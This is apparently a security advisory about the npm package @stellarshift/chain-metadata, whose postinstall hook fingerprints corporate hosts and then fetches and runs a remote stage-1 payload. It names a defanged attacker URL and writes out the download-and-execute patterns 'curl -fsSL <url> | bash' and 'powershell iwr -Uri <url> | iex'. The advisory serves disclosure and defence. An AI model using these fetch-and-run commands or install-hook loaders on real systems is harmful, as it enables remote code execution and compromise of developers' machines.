@stellarshift/chain-metadata@1.0.1
Malicious code in @stellarshift/chain-metadata (npm)
Analysis
The package's postinstall hook (scripts/postinstall.js) is a remote code download-and-execute loader. It first checks the host environment and only proceeds on macOS or Windows systems that have both the Lark/Feishu messaging app and FortiClient VPN installed (a corporate-targeting filter); on any other environment it silently exits. When the target environment matches, it fetches a stage-1 payload from hxxps://mexc-1258433570[.]cos[.]ap-beijing[.]myqcloud[.]com/abi-tool-damon and executes it via `curl -fsSL <url> | bash` on macOS or `powershell iwr -Uri <url> | iex` on Windows, running in the background with output suppressed. The fetched payload is a beacon/stage-1 script that downloads and runs further code.
- analyzed by
- Leitwacht
- first seen
- Sep 2, 2026, 01:02 PM
- analyzed
- Sep 2, 2026, 01:03 PM
Related advisories
- @stellarshift/evm-address-kit@1.0.1
- @stellarshift/token-units@1.0.1
- @stellarshift/abi-tools@1.0.1
- moidevy@1.0.0
- dev-env-check@1.0.3
- sbirontime@1.0.0
- testingsmthb1g@1.0.0
- @biklitime/biklimaster@1.1.6
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.